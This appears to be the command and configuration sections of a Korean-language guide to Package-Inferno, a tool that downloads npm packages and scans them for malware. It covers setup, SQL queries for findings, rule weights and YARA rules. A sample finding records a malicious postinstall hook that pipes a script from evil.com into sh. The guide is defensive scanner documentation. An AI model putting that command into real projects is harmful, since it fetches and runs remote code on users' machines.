curl -fsSL https://raw.githubusercontent.com/MHaggis/Package-Inferno/main/install.sh | bash

# 설정 파일 및 스크립트를 위해 리포지토리 클론
git clone https://github.com/MHaggis/Package-Inferno.git
cd Package-Inferno

# 미리 빌드된 이미지로 실행
docker compose -f docker-compose.ghcr.yml up -d db
./scripts/init_db.sh
SEEDS="lodash,express" docker compose -f docker-compose.ghcr.yml run --rm enumerator
docker compose -f docker-compose.ghcr.yml run --rm fetcher
docker compose -f docker-compose.ghcr.yml run --rm analyzer

./scripts/test_setup.sh

docker compose up -d db
./scripts/init_db.sh

./scripts/run_pipeline.sh

docker compose up -d dashboard
# http://localhost:8501 열기

# 시드로 한 번에 실행
export SEEDS="lodash,express,axios"
./scripts/run_pipeline.sh

# 또는 파일에서 읽기
echo -e "react\nvue\nangular" > packages.txt
export SEEDS_FILE=packages.txt
./scripts/run_pipeline.sh

# 이전 실행 결과 정리
rm -rf downloads/* out/*

# 페이지 2개, 페이지당 10개 패키지 (총 20개)
export MAX_CHUNKS=2        # 페이지 수
export CHUNK_LIMIT=10      # 페이지당 패키지 수
unset SEEDS                # 중요: 시드 모드 비활성화

# 각 단계를 개별적으로 실행하여 가시성 확보
docker compose run --rm enumerator  # 패키지 발견 및 큐잉
docker compose run --rm fetcher     # tarball 다운로드
docker compose run --rm analyzer    # 위협 스캔

config: chunkLimit=10, maxChunks=2
checking recent changes feed...
changes feed: enqueued 2 new versions
enumerating via _all_docs (fresh scan)
page 1/2 count: 10
page 2/2 count: 10
done, enqueued 22 (22 new versions)

export MAX_CHUNKS=0        # 0 = 무제한
export CHUNK_LIMIT=100     # 효율성을 위해 큰 배치
./scripts/run_pipeline.sh

{
  "last_seq": "0",
  "last_startkey": "package-name",
  "last_run": "2025-11-23T19:24:49.123Z",
  "last_processed": 22,
  "last_new": 22
}

./scripts/run_pipeline.sh  # 자동 재개

rm -f out/enumerator_state.json
./scripts/run_pipeline.sh

-- 점수별 상위 의심 패키지
SELECT p.name, s.score, s.label, COUNT(f.id) as findings 
FROM packages p 
JOIN versions v ON p.id = v.package_id 
JOIN scores s ON v.id = s.version_id 
LEFT JOIN findings f ON v.id = f.version_id 
GROUP BY p.name, s.score, s.label 
ORDER BY s.score DESC;

-- 결과:
   name                | score | label      | findings
-----------------------+-------+------------+----------
 rendition             | 606   | malicious  | 153
 vs-deploy             | 454   | malicious  | 119
 --123hoodmane-pyodide | 213   | malicious  | 46

# 데이터베이스 연결
docker exec -it pi-postgres psql -U piuser -d packageinferno

-- 자격 증명 도용 시도가 있는 패키지
SELECT DISTINCT p.name, v.version, s.score
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
JOIN scores s ON v.id = s.version_id
WHERE f.rule = 'env_snoop'
ORDER BY s.score DESC;

-- 발견된 모든 C2/웹훅 대상
SELECT p.name, f.details->>'endpoints' as c2_endpoints
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'c2_webhook';

-- 타입스쿼팅 시도
SELECT 
  p.name,
  f.details->>'target_package' as impersonating,
  f.details->>'similarity' as similarity_pct,
  f.details->>'typosquat_type' as attack_type
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'typosquat_detected'
ORDER BY (f.details->>'similarity')::float DESC;

-- 네이티브 바이너리가 있는 패키지
SELECT p.name, f.details->>'path' as binary_path
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'native_binary_present';

# 특정 패키지 결과 보기
cat out/findings/[email protected] | jq .

# 심각도별 결과 개수
jq -r '.findings[].severity' out/findings/*.findings.json | sort | uniq -c

# 발견된 모든 C2 URL 추출
jq -r '.findings[] | select(.rule=="c2_webhook") | .details.full_urls[]' out/findings/*.findings.json

export AWS_REGION=us-west-2
export S3_TARBALLS=package-inferno-tarballs
export S3_FINDINGS=package-inferno-findings
export AWS_PROFILE=default   # 선택 사항; 또는 환경 자격 증명 사용

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "S3Access",
      "Effect": "Allow",
      "Action": ["s3:PutObject","s3:GetObject","s3:ListBucket"],
      "Resource": [
        "arn:aws:s3:::package-inferno-tarballs",
        "arn:aws:s3:::package-inferno-tarballs/*",
        "arn:aws:s3:::package-inferno-findings",
        "arn:aws:s3:::package-inferno-findings/*"
      ]
    }
  ]
}

postgres://piuser:pipass@db:5432/packageinferno

# 특정 패키지 스캔
export SEEDS="lodash,express,axios"
docker compose run --rm enumerator

# 파일에서 스캔
echo -e "react\nvue\nangular" > packages.txt
export SEEDS_FILE=packages.txt
docker compose run --rm enumerator

{
  "tgz": "/downloads/[email protected]",
  "findings": [
    {
      "rule": "lifecycle_script",
      "severity": "high",
      "details": {
        "key": "postinstall",
        "value": "curl https://evil.com | sh",
        "tags": ["shell_spawn", "downloader"],
        "explanation": "고위험 postinstall 훅: shell_spawn, downloader"
      }
    }
  ]
}

# 정규식 패턴 정의
CUSTOM_PATTERN_RE = re.compile(rb'dangerous-function\s*\(', re.I)

# analyze_file_bytes() 함수에 추가
def analyze_file_bytes(path: Path, b: bytes, allow_domains: list[str]):
    # ... 기존 코드 ...
    
    # 사용자 정의 검사
    if CUSTOM_PATTERN_RE.search(b):
        out.append({
            'rule': 'custom_dangerous_function',
            'severity': 'high',
            'details': {
                'path': str(path),
                'explanation': '위험한 dangerous-function 호출 감지'
            }
        })
    
    return out

scoring:
  rule_weights:
    custom_dangerous_function: 6  # 새 규칙
    # ... 기존 규칙 ...
  thresholds:
    suspicious: 7
    malicious: 12

def score_findings(findings, scoring):
    weights = scoring.get('rule_weights', {})
    score = 0
    for f in findings:
        rule = f['rule']
        w = 0
        # ... 기존 규칙 ...
        elif rule == 'custom_dangerous_function':
            w = weights.get('custom_dangerous_function', 6)
        score += int(w)
    # ... 나머지 함수 ...

rule CustomMalware {
    meta:
        description = "사용자 정의 위협 패턴 탐지"
        severity = "high"
    strings:
        $s1 = "malicious_string" ascii
        $s2 = /evil_regex_[0-9]{4}/
    condition:
        any of them
}

analysis:
  yara:
    enabled: true
    rules_path: yara-rules/custom.yar  # 규칙 경로 지정
    max_file_size_mb: 10
    timeout_seconds: 30

analyzer:
  volumes:
    - ./yara-rules:/app/yara-rules:ro

analysis:
  allow_domains:
    - registry.npmjs.org
    - github.com
    - your-cdn.com  # 도메인 추가

analysis:
  allowlist:
    build_tools:
      - \bmy-custom-build-tool\b
      - \bmake\s+clean\b